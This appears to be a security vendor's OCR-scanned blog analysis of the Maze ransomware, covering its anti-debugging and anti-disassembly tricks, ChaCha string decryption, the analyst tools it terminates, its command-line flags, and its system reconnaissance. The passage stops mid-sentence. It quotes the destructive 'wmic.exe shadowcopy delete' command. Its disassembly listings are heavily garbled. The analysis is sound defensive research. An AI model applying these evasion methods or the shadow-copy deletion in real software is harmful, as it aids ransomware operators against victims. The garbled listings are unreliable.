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During our recent analysis of the latest Maze variant we came across
some advanced evasion & encryption techniques, which places this
ransomware as a highly sophisticated & dangerous threat.

Maze is a high profile ransomware first emerged in 2019 and is still
soaring. It has attacked healthcare organizations, law firms and
industrials and universities, Moreover, Maze attackers don’t just ask for
a ransom in a return of the decrypted files, it threatens victims to
publish their data if the ransom is not paid.

The group behind the Maze ransomware is known as threat actor called
TA2101. They use various infection methods, including creating look-a-
like cryptocurrency sites and malicious campaigns guising as
government agencies.

In one of the incidents, the group leveraged Cobalt Strike to infiltrate
into the organization infrastructure. They used PowerShell to steal large
amounts of data via FTP. Then, the group executed Maze on the
endpoints, demanding a ransom.

Maze is a complex multi-threaded malware. It has a lot of Anti-Analysis
techniques: Anti-Debug, Anti-Disassembly, Obfuscation, String
encryption and more. It uses strong encryption algorithms - RSA and
ChaCha.

In this blog post we will take a deep dive into Maze, dissect it and show
its inner mechanismes.


https://healthitsecurity.com/news/maze-ransomware-hackers-extorting-providers-posting-stolen-health-data
https://www.infosecurity-magazine.com/news/maze-ransomware-law-firms-french/
https://www.infosecurity-magazine.com/news/maze-ransomware-law-firms-french/
https://www.bleepingcomputer.com/news/security/allied-universal-breached-by-maze-ransomware-stolen-data-leaked/
https://blog.talosintelligence.com/2019/12/IR-Lessons-Maze.html

The research will be step by step:

1. Anti-Analysis & Unpacking

2. Reconnaissance

Encryption & Ransom demand

Decryption

Detection & Prevention of Maze by Cyberbit’s EDR
I0Cs
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Anti-Analysis

Dynamic loading of libraries and resolving of APIs

If we open Maze in PE-Bear, we can see that it imports only kernel32.dll
with few functions. The imported functions are known as ones that are
commonly used in packed malware:

e GetProcAddress — dynamically resolving address of functions.
e LoadLibraryA —dynamically loading DLLs.
e VirtualAlloc — allocating memory regions for unpacking a new
code.
e VirtualProtect — changing protection of memory pages.
Offset | Marme ‘ Func, Count ‘ Bound? ‘ QriginalFirstThun ‘ TirneDateStarmp | Forwarder | MarneR,
20800 kernel32.dll q FALSE 9F050 0 0 9FOFL,
4 | d
kernel32.dll [ 9 entries ]
Call via | Marre Ordinal Original Thunk ‘Thunk Forawarder | Hint |
9Fa00n GetACP - aFn&n 9F0E6 - 0
9F004 GetProcAddress - aFnan 9F0a0 0
9F00g GetWersion - aFnaz aF0L2 I
9F00C LoadLibraryd, - AFNED JFOBN 0
9F010 Wirtual&lloc - aFnDE 9F0Da I
9F014 WirtualProtect - AF0ES OF0ES I
9F018 ExitProcess - aFnTa 9F078 0
9F01C Istrlend, - aFNCC F0CC I}
9F020 |strcatd, - aFnCo 9F0cn 0

Figure 1 — The malware statically imports few functions from kernel32.dll
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addresses using LoadLibraryA and GetProcAddress. We can learn a lot
about the true nature of the malware already at this stage.
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push ecx
call dword ptr ds:[eb=+43F00C] LoadLibrarys
may dword ptr ss:[ebp-C].eax
test dword ptr ds:[esi],s0000000
« jne GZDZFS

push esi

may esi,dword ptr dsi[esi]

push o

xor dword ptr ss:[esp].edsx edx:EntryFoint
push esi
pap ed= ed=:EntryPoint
add ed=,dword ptr ss:[[ebp+s] edx:EntryFoint
may esi,edx ed=:EntryFoint
pop ed= ed=:EntryPoint
add esi,z

may dword ptr ss:[ebp-4],e51
pop esi

« jmp SZDZS4

push dword ptr ds:i[esi]

pop dword ptr ss:[ebp-4]

and dword ptr ssi[ebp-4] .FFFF
moy eax ,dword ptr ssi[ebp-4]
push dword ptr ss:[ebp-4]

moy eax ,dword ptr ssi[ebp-C]
push eas

call dword ptr ds:[eb=+42F004] GetProcaddress
push esi

mow 251 ,dword ptr ss:febp-5]

ote Dumnp 1

By Dumnp 2 By Dumnp 3 By Dumnp 4 By Dump 5 B wakch 1

Address

value Carmments

0043004
00432008
004300
oo042C010
00432014
o043C018
o043C01c
oo43C020
0043024
o043C028
o043C02cC
0042C020
00432034
0043028
Q0430020
oo43C040
0043044
00432048
0043 C04Z
0043Z050
00432054
0043058
0043082
0043060

FF2e5E09 | adwvapi3z.Lsaaddaccountrights

FF2347C5 | advapi3z. LookupACCcountsidw
Fr234crF0|advapizz.Initializesecuritybescriptor
FF2418CF | advapizz.Lsallose

FFze3434 | advapizz.CryptDecrypt

Fr2a4771R | advapilz . CryptEncCrypt

Frez2C4pe | advapizz.CryptImportkey

FF2300eF | advapizz.getsidsubauthori oy

FF230057 | adwvapizz.Getsidsubsuthori tyCount
Frze3dded|advapizz.arealTACcessesaranted
FF220F45 | advapizz.Cryptienrandom

FF22E0A4 | advapizz.CryptReleaseContext

Frzz2C4aa | advapi3z.Cryptihes troykey

Fr2z2olec| advapilz.CryptEx<portEey

FF228Esd | advapizz.Cryptaenkey

FF22DE24 | advapizz.Cryptacquireantexty
FF268C39 | adwvapi3z. LsajueryTrustedbomainInfo
FF2e97Bl| advapizz.LsalreateTrus tedDomai nEx
FF2e3t24 | advapizz.EqualbDomainsid

FF2620E2 | adwapi3z.Encryptionbisable

gooaooooo
FEEEOLOF | Crypt32..CryptStringToBinarys
FELEBA4ED | crypt3z.CryptBinaryTostringsa
FREBALSE | Crypt3z.CryptEinaryTostringw

Figure 2 - The dynamically resolved functions’ names and addresses

Some API addresses are not resolved by GetProcAddress but manually.
When Maze needs to call a specific API, it uses a hash of the APl name.

This hash

is compared to all hashes of all APl names in the export table

of the desired DLL. When a match is found — the address is fetched.



Ltext:@84239BC push 1448h

Ltext:eed239C1 push 2F3F1114h 3 Bx2FBF1114 ~ @x14A8 = @u2FBF@SBC -> <kernel32.CloseHandle:
Ltext:@8423906 call loc_423908

LEextiBBL23006 ; -

JEext:884239CE aKernel32D1l @ db "kernel32.dll’,@

B o L L e

Ltextieed4239D8

Jtext: 98423908 loc_423908: 3 CODE XREF: .text:884239C6Tp
Jtext:@a8423908 push offset loc_423AB9
Ltext:@a42390D jz resolving_api_by hash

Figure 3 -Manual resolving of an APl address by hash

String encryption

As a part of its unpacking process, Maze decrypts its strings on the fly. It
uses the ChaCha algorithm to do so. ChaCha is a stream cipher that
uses a 128 bit string constant (“expand 32-byte k” for 256-bit key or
“expand 16-byte k” for 128-bit key), a 128 or 256 bit key, a 64 bit
counter and a 64 bit nonce. In this case, the key is 256-bit in size.

The photo in figure 3 is taken from Wikipedia:

Monce Monce

Figure 4 - The structure of the initial state of the ChaCha algorithm

et F8 70 El‘EE cd4 20 33‘32 20 &2 79|74 &t 20 GBE Eixiiaﬂl:l 32—hitE F:

Figure 5 - The initialization values for the ChaCha cipher from Maze. The
colors correspond to the ones in figure 3




Address | Hex ASCII Jaddress | Hex ASCII

00060170\ 44 51 19 Fe |77 BF 7F OB|3D FF BE D7|52 B2 93 &A|DQ. g, . LxR=. J§00060170 | 41 00 74 00|74 00 g5 00|gE 00 74 00|62 00 &F O0|A.C.C.e.n.tC.1.0.
000E0180|FOD 2E 97 2B|AZ 55 7C 84 |5A D0 C4 C1|78 71 F2 ED|y».;£U]. Zﬂﬁﬁxq01 00060180 | gE 00 21 00|00 00 04 00|00 00 0A 00|20 00 20 00(R.'eeweeaen. -.-.
00060150 | AC 14 CF DO|SD 5C 01 BL|QE 95 &4 F&|BY OE 34 DE|-.ID. s 00060150 |20 00 20 0Of20 00 20 00|20 00 20 00|20 00 20 00| -w-w-w-w—u—u—u—u
DOOE01A0| 04 F8 C5 AS|11 50 DO C&|37 43 4 71|57 7E 32 F8|.moAx. PYE?ILq ~2m 000E01A0 |20 00 20 00|20 00 20 00|20 00 20 00|20 00 20 00|-.-.-.—.—.=-.—.—.
000&01ED |55 5B &F DS|0& 43 EF S1 |61 54 E2 52|67 81 AE CD|U. DBBC1QaTaRg effoooenlBa|z0 00 20 00|z0O 00 20 00|20 00 20 00(20 00 20 00| -a-w-e—u—w—ua—u—
QOOe0lCD | SB 20 42 27 (4C De CO 2C|BO 2D A2 22 |EB BC &4 4D [ O LOA =" EKJM 000e01C0 (20 00 20 00|00 00 QA 00(ZC 00 20 Q0|87 00 6% 00| -.-cauaa|a JW.h.
00060100 |ES 85 00 C&|05 ZE 08 51|94 50 52 55|00 EO FB 55| '..£...0.PRU.AUUQO00E0LI00 | S1 00 74 00|20 00 &5 00|61 00 7O 00|70 00 &5 00|a.t. .h.a.p.p.e
000G01EQ| DS 36 00 59 |5C 77 AL 42 (0C BF DE FD|4E 4F 74 A% | 06w WwiC. -pyKOt@§O00501ED | S6E OO0 55 00|&4 00 FF Q0|00 00 04 00|20 00 20 O0(n.e.d.?..
DO0G0LFD| 87 &C SA 4B|74 8B 26 CZ (7B BE 7D 2A|05 23 9B AA|.l1zZktkedA{%}*.s5.2J000601F0| 20 00 20 00|20 OO0 20 00|20 OO0 20 00|20 00 20 00|-.-.=-.=-.=
gooeo0zo0| 26 9B EC 1A(C4 CF 7F 40|56 1E ED &2 |93 L8 ED EC|&. 7. A MV h.xiifoo0s0200| 20 00 2D 00|20 OO 20 00|20 00 20 00|20 OO 20 OO|- .
00060210|1C EF OF F9 (43 CA CD 05 (SF F7 29 CD|CA 1C 46 CC|.7.0CEL._+)fE.Fifjooos0210|20 00 20 00|20 OO0 20 00|20 OO0 20 00|20 00 20 00| - -
0ooe0zz0| 0B FO BS 80|70 E1 2F E7F |B& 1D 2C 13| FC ZE 7A 0OC y }afw |.z. Jo0060220 |20 00 20 00|00 OO OA OO|0OD OO0 OA 00|41 00 &C O0|- oo 1o
Qooe0z230 |14 FE 04 DO|BE 27 OF €6 |24 87 52 EC|DC EF CA 20 7. T Y1U1E 00060230 | 2C 00 20 00|79 00 6F 00|75 00 72 00|20 00 & 00O|7. o olo
000£0240 | A% 87 FE& SB|38 48 SF 24 |F7 52 E1 D7 ([F? 20 OB 08 = LfigH. $=5dxi-. . JOO0E0Z40 |69 00 &C 00|65 00 73 00|2C 00 20 00|éd4 00 6F 00|i.7.e.5.,. .d.o.
00060250 (5% EA 02 2A|C3 BS 2C AF [AS 52 F9 27|9E F5 51 Al|vé.*Al ‘b’ . d. 00060250 | &2 00 75 0060 00 &5 OO0|&E OO0 74 00|73 00 2C 00| CalaME.N.T.5.,.
00060260 | Bl B2 CE 26|BO 55 &7 E2 |26 40 0% C8|FE 7F 40 CE t buo0) Bea. Eb @i 00060260 |20 00 70 00|65 00 &6F 00|74 00 &F 00|73 00 2C 00| .p.h.o.t.o.s5.,.
gooédzyo| &3 55 0A BF|(CD 3F 14 24 |BS 44 ZE CE|06 12 &7 20 Li7.4p3.El.g Jo00s0zF0| 20 00 54 00|61 00 F4 00|61l 00 &2 00|61 00 73 00| .d.a.t.a.b.a.s.
Qooe0z2e0 | en 00 25 S5|0F 07 SE 70(SE 45 C8 22 |F4 22 41 27 j 5 X U}.HEZDBA? 000602580 (65 00 73 00|z 00 20 00(gl 00 ¢F Q0|64 00 20 00| e.5.,. .4.n.d. .
000&0250 |10 SE 1F 12 |(C: 26 FE 4F |98 0% 03 &3 |28 28 40 14 ﬁﬂnﬂ...i[(@. 000602590 | 6F 00 74 00|65 00 &5 00|Zz 00 20 00|63 00 &0 00|o.t.h.e.r. .i.m.
Qoog0zAD | S8 70 44 CB|EA 82 10 21 |D8 20 A9 20 EE 24 D9 AL X}J[E .18.@,230 §O00E02A0 |70 00 &F 00|72 00 74 00|l OO0 &£ 00|74 00 20 00(p.o.r.t.a.n.t. .
000E02B0| 84 58 90 SB|SB 26 17 89 |GE G5F 22 DA|44 DS F2 FD - 2UJﬁuy 000E02B0 (g4 00 £l 00|74 00 &1 00|20 00 &1 00|72 00 &5 00(d.a.t.a. .a.r.e.
googo0zco|BY 88 99 L2 |FB BO S50 FL |&F 52 82 C4|F9 BA 7B 57 Ru ]DDR Au°{w 000602C0 (20 00 73 00|61l 00 &6 00|65 00 &C 00|22 00 20 00| .5.a.fT.e.l.y. .
00060200 |BF 45 6B B2 |36 BS 10 4999 Al 8F EC |14 EB 33 47 ER‘GE I.j.7.83cQ00060200 |55 00 £E Q0|63 00 72 00|79 00 70 00|74 00 &5 00|e.fn.c.r.y.p.t.e.
000602EQ| €0 D2 54 FE|3F C& 46 85 |AS 1D 23 52 |C3 DO 7F CF| "4.p7EF. RKB TRooos0zEa|gd 00 20 00|77 00 &9 00|74 00 &8 00|20 00 F2 00|d. .w.i.t.h. .r.
Qooe0zZFO | RS 24 OF 7|76 F& B2 CO|AF E& CE 11|50 D4 B 2A ,H.VVD‘I & LPOY: JO00E02ZF0| 65 00 &C O0|g2 00 g1 00|62 00 &C 00|gS 00 20 00(e.l.i.a.b.1.8. .
00060300 | 6B FE &4 3E|32 C2z &6F DS|FF 53 F5 42 [EA 6B 20 &7 k~d>2ﬁoﬂyYnBEk 00060300 |61 00 &C 00|67 00 &6F 00|72 00 &3 00|74 00 &8 00(a.l.g.o.r.i.t.h.
00o&0310| &7 1B 1B 26|(0% 75 2C 35|00 32 C9 F0O|CF CE &7 DS | d..&.U SD2E}IT g 00060310 | &0 00 73 0OO(2E OO OD 00|04 OO0 59 0O0|&6F 00 75 OO0 |(MeSaeianss e 0. U
00060320 | 7F 76 E7 2F|2E CD 20 &F|DE 53 OE BA|FS 0a 29 C7|.vg/. I obs.@d. jg 00060320(20 00 &2 00|gl 00 EE O0|6E 00 &F 00(Z4 00 20 00 .c.a.n.m.o.t. .
00060330 |53 75 FE C4|3% F7 8A ZF|BS 33 B& 0% |73 &4 1B E3|.upAS+./u3T.5d. 00060320 |61 00 &3 OO(&3 00 &5 00|73 00 73 00|20 00 74 00| A.C.C.B.5.5. ..
Qo0e0240 | C5 16 &2 FE|(86 8L 7& 16|40 C2 52 Q0|9 59 22 &2 A bp. .. @ﬁR h 00060340 (68 00 &5 00|20 00 &6 00|62 00 &C 00|65 00 72 00| h.e. .T.i.1.e.5.
000&0350 |86 F& OF G2 |(CA 37 81 FC|F4 AD 30 &3 |74 84 &6 F3 UEYE? 0a. 12 fo 00060350 (20 00 Fz 00|69 00 &7 00|63 00 74 00|20 00 ¢ 00| .r.i.g.h.t. .n.
Qooe02e0 |09 C1 BA CO(CA B0 9B FE|FO 22 CD D2 |1F A2 G4 E2 .A°EEP.6B#IO.¢TR QO0E02c0 | &6F 00 77 QO(2E QO 20 Q0|42 00 Fo 00|74 00 20 Q00w B.U. T, .
000£0370| 80 99 GE 95 |FE 2F 29 D829 10 53 S0(g2 E9 B2 77|..A b 9@) . sPié=wl00060370| 64 00 6F 00|20 00 g 00 |&F 00 74 00|20 00 77 00|d.o. N T
O0o&03s0| 34 BO FOD 38 C2 3A 41 EZ AA DF [0 ?C SE 20 41 &7 y, A"E la —A 000&03&0 | &F 00 72 DD Feooo Feo00|2E Q0 20 0059 00 &F 00| d.r. T

Figure 6 - strings before (to the Ieft) and after decryption using the ChaCha algorithm

Anti-Disassembly

Maze utilizes several anti-disassembly techniques:

e Jump Instructions with the same target — using je and jne instructions
one after the other to the same address. This technique fools the
disassembler so it disassembles the false branch of the second
conditional jump and interprets it as code although it is junk data.

|”

e push and jmp - which are together equivalent to a “call” instruction —

makes tracing the program’s flow more difficult.

e jmp to middle of an instruction —to prevent from disassemblers
displaying the correct instruction being executed.



004015e4d
00401565
00401lbes
00401567
004015 eC
00401572
00401578
00401582
O040158C
00401554
004015597
004015598
00401530
00401543
004015439
004015E1
O004015E3
004015EE
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004015ES
004015ED
004015C32
0040153
004015032
00401500
004015EY
004015ED
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O004015F1
004015F2
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004015FC
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nn4ant ann

50
1

53

65 94154000

OF24 EES7OI00

OF85 55370300
DEOS0000CEOENOONL111
00000B100000032 60000
C11600003E080000
§3C4 0C

53

&5 B3154000

0F24 GE940300

OF35 553940300
FF158CCO43 005004
0000

BECO

7E 4

53

&5 EDLE4000

0F24 51940300

OF25 4B940300
56200000E1030000C02 4
0000802 1000080090000
FF190000E00CO000052 1
000024130000

BECO

74 40

75 0A

FF1E ECC24300
F3:1100 -
0057 G glmeememmesms
50

RE PR R40NN

push eax

push ebp

push ebx

push maze. 4015594
je maze.43AC00
jne maze. 434200
thyte 111100000ecedoooosde
thyte 00002&6d3000010db0000
dgq &3SE0O0O0LlEC1
add esp,C
push ehx
push maze.4015E3
je <IMF.& GetModuleHandleastubad=
jne <IMP.&_ GetModuleHand] eAStubdds
dg ASO0043C08C15FF
dw 0

test eax,eax
jne maze.4015F0
push ehx

push maze,401lEED =

je <IMF.& LoadlLibraryadds
jne <IMP.& Loadlibraryadd:=
thyte z4cdOoOoO0zb1l000020568
thyte 0000052d000021&00000
thyte z10s00000ce0000013f
df 000012z2ac0000
test eax,eax
je maze.401l83E

jne maze.4015F0

call dword ptr ds:[=&_Adjus tWindowE i@l « m e
adr_dwotd, pbe mdssefens T, T =

add byte ptr ds:[edi+te] ,dl

push eax
nush maze 4n1E*N

push (ret addrl) + jmp = call

je + jne to same target = unconditiaonal

junk code
junk code
junk code

push (ret addr) + jmp = call

je + jne to same target = unconditional

junk code
junk code

push (ret addrl) + jmp = call

je + jne to same target = unconditiaonal
Jje + jne tao same target = unconditiaonal

junk code
junk code
junk code
junk code

jmp to middle of “instruction'

Figure 7 - Anti-Disassembly techniques by Maze
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Anti-Debugging

For Anti-Debugging, Maze uses 3 techniques:

e The classic technique using IsDebuggerPresent API call

e Checking the BeingDebugged flag (2" byte) of the PEB manually

e Anti-Attach by overwriting the first byte of the
DbgUiRemoteBreakin API call

o0421F0S
o042 1F0A
o042 1F0cC
0042 1F0OE
o042 1FEQ
00421FEZ2
0042 1FES
00421FEF
o0421FED
00421FF2
O0421FFS
00421FF2
o042 1FFC
00421FFE
00422000
oo4zzooz
oo4zz004
004z z00B
o042 200c
oog4zz01:2
oo4z2z2017
o04z2z201A
oo4zz201E
0042201E
oo4zzoz20
o04z22022
aod4zzo0z27
oo4zz2020
o04zz202F
oo4zz022
oog4zz2037
ao4z2203%
00422038
ao4z2z20320
0422042
00422045
00422047

FECZ

BRI 4T

FEC1

I1CF

03Fz

BEIE2CE

FECZ

OFSE O2ZFAFFFF
OF&4 FCF3FFFF
EE 02000000
46

[S1oH gl

FECE

S5DE

T4 G2

21CE

&4 EB0OD 20000000
51

S1CF F2120000
EE 131230000
S0C5 91

La

SA0E 02

S4ED

74 0D

EE ZEL1EOOOD
OF35 CZF3FFFF
400

BE:0LlCF

EE 27000000
280e

2C 35

FEC&

6EIELCF E320
EEIFFO2

FECZ

FECE

inc dl

inc di

inc cl

war edi ,eax

or edx,es5i

maoss &=, O

dec cl

jne maze.4219EF
je maze.4219EF
mow ehbx, 2

inc esi

not si

dec dh

test ebx,eb=

je maze.422064
and eax ,ecx

moy ecx ,dword ptr [l [20]
push ecx

add edi,19F2
moy esi 19132
add ch,51

pop eax

mow ch,byte ptr ds:i[ea<+2]
test ch,ch

je maze.42202F
mov ebx ,1EZE
jne maze.4z213EF
Jje maze.42202F

add di,a=x
mov ebx,37
sub dh,dl
sub al,35
inc dh

add di,z0EZ2
not d=

inc di

dec al

FEE

PEE.EBeingDebugged
is debug®

debugger detected - infinite loop
debugger not detected

Figure 8 - Checking the PEB for the BeingDebugged flag

Let’s focus on the 3™ technique. This is a rare technique which we don’t
see often, that indicates an advanced technical level.

The purpose of the function DbgUiRemoteBreaking is to pass the
control of the execution flow to the debugger. Maze overwrites the first
byte of this function with ‘Oxc3’ (ret). As a result, if we try to attach a
debugger to the process of Maze, it will return to the caller and
continue to run without a debugger.



FFESF1DA gA 0F push = DbguirRemoteEreakin
FFBEF1DC &5 JOBEB1FS push ntdll.77B1EEZ0
FFBEF1ELl ES Y&EDFSFF call ntdl11.77B10OFEC
77BSFlEs &64:Aa1 15000000 mow eax,dword ptr [l [15]
FFBSF1EC SBE40 20 mow eax,dword ptr ds:[eax+20]
FFBEFL1EF S507% 02 00 cmp byte ptr ds:[eax+z],0
FFBEFL1F3 = F5 09 jne ntdll1.77ESF1FE
FFBEFL1FS FE0OS D402FEFF 02 | test bwte ptr ds:[FFFED2D4],2
FFBEFL1FC = Fd4 28 je ntdll.77ESF2z2e
F7BSF1FE c4:4a1 15000000 mow eax,dword ptr [l [15]
FFESFz204 FEE0 CAOFOO00 20 | test byte ptr ds:[eax+FCA],z0
FFBEFZ0OEB = F&5 19 jne ntdll1.77EBSF22e
FFBEF20D 5385 FC 00 and dword ptr ss:[ebp-4].0
FFEEFZ11 ES FSODOF7FF call =ntdll.0bgEreakPoints
FTFBEFZ1le -~ EB 0OF jmp ntdl11.77EBSF21F
FFBEFZ1E 33C0 O B, Ba
FFBEAF21A 40 iNC eax
FTFBEFZ1E e ret

Figure 9 - The original unpatched code of DbgUiRemoteBreakin
FFEBSFL1DA 3 ret DbgUirRemoteEreakin
FFBSF1DE 0283 20 or byte ptr ds:[eax+20],ch
FFESFLDE BB B177FES7& mow ehx , FEESFFEL
FFESFL1EZ ED in eax,d=
FFBSFL1E4 F& clc
FFESFL1ES FFa4al 18 jmp dword ptr ds:[ecx+15]
F7BSF1E® oooo add byte ptr ds:[eax],.al
FTBESF1EE Q0%E 40308073 add byte ptr ds:[ehx+78803040],c1
FFESF1F1l ozoo add al,byte ptr ds:[eax]
FFBEFL1F3 « F5 09 jne ntdll.77BEF1FE
FFBEFL1FS FEOt D402FEFF 02 |test byte ptr ds:[FFFEQzD4] ,2
FFBEFL1FC “ Fd4 28 je ntdll1.77B&F226
FFBSFL1FE c4:481 13000000 moy eax ,dword ptr [l [12]
FFESF204 FEE0 CAOFOO0O00 20 |test byte ptr ds:[ea<+FCa] 20
FFBEFZ0E « F&R 19 jne ntdll.77BEF22&
FFBSF200D 5385 FC 00 and dword ptr ss:[ebp-4],0
FFESF211 ES FeODFFFF call =ntdll.0bgEreakFroint=
FFBEFZ1E « EB 0OF jmp ntdll.77BEF21F

Figure 10 - The patched code of DbgUiRemoteBreakin with the ret instruction at the

beginning



Process enumeration and termination

Maze enumerates the currently running processes and searches for
specific processes to terminate. When it finds a process it looks for, it
calls the APl TerminateProcess to kill it.

It does that by fetching the name of the process, obfuscating it and
then generating a hash based on the obfuscated result.

This hash is compared to a list of predefined hardcoded hashes. If a
match was found — it terminates the process. The comparison is not
done directly but checking if the hash values falls within a specific
range. After a few range checks, the hash value is compared directly.
This further complicate analysis.

As we couldn’t reproduce the original process name just from the hash,

we found out the following process names correspond to the hash
values in the table below. These processes are popular programs
among malware analysts.

We have identified that it looks for dozens of other processes.

Process name Hash
ida.exe 0x33840485
x32dbg.exe 0x5062053B
x64dbg.exe 0x50DC0542
procmon.exe 0x600005C9
procmoné64.exe Ox776E0635
procexp.exe 0x606805D4
procexp64.exe 0x78020640
python.exe Ox55EE0597
dumpcap.exe Ox5FB805C5
fiddler.exe Ox5EO0CO05B1
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00413E53E 31C5 KO BCH, BCH

00413540 S3FE 08 CITp 28, &
EJ o B - e n R LR 1 IEEHE!E.4155uu

00413549 SEI0FEF25 00474400 mowdga xmmd xmmmeord ptr o ds:[444700]

00413551 E6E:0FEF20 10474400 mowdga =<nms ,=mmword ptr ds:[444710]

00413559 GEI0FEF30 20474400 mowdga «<nme c=mmword ptr dsi[444720]

00413561 g5aZ1 Mon 20K, B

00413563 210z »or ed<,edx

004135 &5 &5 0FEFF& P Or HRIME ST

00413569 S53E1 F& and ecx,FFFFFFF&

004135aC OF1F40 00 nop dword ptr ds:[eax] ,eax

00413570 F3:0FEF4454 25 mowdgu xrmo y=xmmmeord ptr ss:[espredsTz+z 5]

00413576 && 0OF&FDO mowdga =nmz2 ,=mmo

00413574 EEI0FGFCE mowdga «Hml ,=rrmo

004135 7E EEi0FF102 0O& psrlw =mmz =

00413553 cEl OFFDCC paddw =mml ,=<nmd

00413557 &5 0OFEFDO peor HRME mmo

0041355E 6E: OFFDCF paddw =mmo ,=<nms

004135 5F B OFDSCD pEUBUSW <RIL ,=mE

00413593 G5 0FGFDSE morwdga <3 =nrno

00413537 G661 OFFECE pCMpeqQn <L ,xmme

0041353k EEI0FF103 0L psrlw =nm3 ,C

00413540 E&I 0OFEFDS pear HRI2 o

004135 A4 &5 OFODEDS pand =mmz2 ,=nml

004135A8 g5 0FDFCA pandn x=rml ,=mmz

004135 MC &5 OFEECE par =rml ,xrm2

004135E0 FI:OF7FFOCE T mowvdgu xmmword ptr ds:[edi+edxs2 Pl {1
JLBL L 1HE-EE'><

00413566 4z inc edsx

004135E7 4z inc ed=x

00413568 4z inc eds=

004135E9 4z inc eds

004135EA 4z inc eds

004135EE 4z inc eds

004135BC 4z inc edx

004135ED 220l cp ecx,edx

004135 EBF ~ F5 AF jne maze.413570

00413521 « EB 2E jmp maze.4135F1

004125232 EEZEIQOFLFS400 0000000 nop word ptr cs:[ea<teax] ,ax<

%ﬁéﬁéﬁﬁﬁ +EE&;EEEE ] mowz= eds«,word ptr ssi[esprec=s2+.2 5]

00413505 S05A 9F Tea ebx=,dword ptr ds:i[edx<-c1]

00413508 S0es EOQ Tea ebp,dword ptr ds:[edx<-20]

0041350E OFEBFOE mowzx ehe, b

0041350E S53FE 1A cmp eb=, 1A

004135E1 OF43EA chmovae ehp,eds

004135E4 OFE7DS mowzx eds,bp

004135EY C1EA O shr ed=,t

O04135EA 21EA xor edx,ebp

004135EC EEI59144F may ward ptr dsi[edi+ecx+ z] ,d=

004135F0 41 inC ecx

004135F1 IDCE CHp eaw,ecx

O004135F3 ~=75 OE ine maze.413500

Figure 11 — The string obfuscation algorithm, implemented in both SSE (blue) and non-SSE

(purple) instructions
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004193E0 OFBEOF mMowzx eax byte pte ds:[edi]
ao4123E3 47 inc edi

00419%E4 0lce add esi,eax
004139E& 01F1 add ec=,es1
004133ES 4E dec ehx

ao4193ES ~ ¥5 FE& jne maze.4199E0
oo4123EER BF FlE00730 moy edi 500725071
004133F0 Z3F0 moy eax ,esi
0a41593F2 F7EY mul edi

oo4123F4 C1EA OF shr ed=x,F
ao4193F7 592 FLFFOOOO imul ea<,ed« ,FFFL
004139FD zace sub esi,eax
oo4123FF gaCs Mo Eax B
oo415A01 F7EY mul edi

oo415A02 C1EA OF shr ed=,F
oo415A06 222 FLFFOOOO imul eax,ed«,FFFL
00415402 zacl sub ecx,eax
oo412A0E C1E1 10 shl ec=,10
00419411 03F1 or ecx,esi
00412413 95 MO B as , 20

Figure 12 — Part of the hashing algorithm that gets the obfuscated process name as input

00413643 30 9205B0OSS Cmp eax,SSEBO0O532
00413 6AE ~ QFSE 22000000 jle maze.413740
00413 &AE 30 EBOLSFO&Z Cmp eax &2 FO05EE
00412 6E2 ~ QFS8E 17010000 jle maze.413700
00413 &E9 30 ZFO&EQED cmp eax ,c0E0052F
00413 &EE ~ QF&8F 1BOZ0000 jg maze.41350F
00413624 30 ODOGESGE cmp eax ,&BE50600
0041362 SaFC mowv ebp,esi
00413 6CE «~ OFSE <AD20000 jle maze.413A9E
00413601 30 230610&0 Ccmp eax 60100623
00413&06 ~ QOFE8F SBOFO000 jg maze.413E27
00413 &0 30 OEOGESGE Cmp ea« ,cBES060E
00413 &E1 « QF84 EZ0Z0000 je maze.412F00
00413 &E7 « F5 04 jne maze.413&ED

Figure 13 - Checks on the hash value



Command line parameters

Maze has 4 command line parameters:
--path: Encrypt only a specific folder (including subfolders).
--nomutex: Run without a mutex- allows multiple instances.

--logging: create a console and a write a log (which command
line is used, “wmic.exe shadowcopy delete“output, which file is
being encrypted or if the whole system is being encrypted)

--noshares: Doesn’t encrypt the network shares.

13



Reconnaissance

The data collected by Maze includes:

User name

Computer name

OS version — from the registry key:
SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProductName
System Volume Information (where Windows is installed)
Anti-Virus software information (Using WMI query: “SELECT *
From AntiVirusProduct”)

Network shares

Local drives information

The data collected is used by the Maze for multiple purposes:

Creating a mutex - to make sure Maze doesn’t run twice. The
mutex is unique per system to avoid leaving IOCs behind.
Creating a unique identifier (identical to the mutex name) - to be
able to access the Maze ransom website.

Creating the maze key — needed by the attacker for the
decryption of the files and identification of the victim.

Prepare the ransom notes for the victim.

14



Default (shdcall)

1: [esp+4] O05CFB48 <AConst CwhemswvOwrapper: :>Xwhemservices:: wvitable's>
2: [esp+8] 0044480C L"wWOL™

3: [esp+C] 0044A6DE L"Select * From AntivirusProduct”

4: [esp+10] 00O0O0DODZO

5z [esp+l4] O0O0O0ODOOOO

Figure 14 - Collection of Anti Virus software information using WMI

00423636 w74 0A 1B maze.d429647
004295320 FF1t 7404300 call dword ptr ds:[<& SetPaletteEntries@lcs]
00429543 Be 11 mow dh,11
00429645 nlalulu] add byte ptr ds:[eax<],al
00423647 A5 monws d
00423648 iz Qo ar al,o
00429644 0052 0c00008C add byte ptr ds:[ecx+el00000s] ,C1
o04z9:80 1E00 shbh eax,dword ptr ds:[eax]
00423652 003417 add byte ptr ds:[edi+edx] ,dh
00423658 oooo add byte ptr ds:[eax],al
00423655 53 C4 0OC add esp,C
00429854 4 push edi edi:L"GTobal“%13550b1Ef2ass2 cc"
0042965EB &4 00 push o0
00429550 B4 00 push o0
O042365F B8 39354200 push maze.d4z23593
00423664 ~ OF&4 35130100 i <IMP.&_CreateMutexwstubalz=
004236648 v 7L 04 ine maze.429&70
0042 355 FBlE0000 dd 1s52E
23670 = OF85 8Z130100 ine <IMP.& CreateMutexwstubadlz:= CreateMutesy
00423676 w74 04 Je maze.d4z2957C
00423675 ODlz240000&658359642 dg 4226956300002401
oo4z23650 O0OF&S4EBLZ201000F dg FOOOL11ZEES40F00
004236588 SEEE1Z201001591500 dg 18129000112ECSEE
00429590 OoABOOOOOOF31500 dq 18F2000000AB00
00429598 oo db 0
00423599 B85 EZz9e4200 push maze.4296E2
0042 3639E « OF&4 234130100 ie <IMP.&_GetlLastErrorstub@os

Figure 15 - Mutex creation

The unique identifier

The unique identifier is composed of the hash of the computer name
concatenated with system volume information. This identifier is used
both for the creation of the mutex and as a part of a URL to access the
personalized Maze web page.

15



The maze key

The maze key is a base-64 encoded string composed of the collected
system information described above and the cryptographic keys used in
the encryption process described further.

Language check

Maze checks the local language of the machine using three different
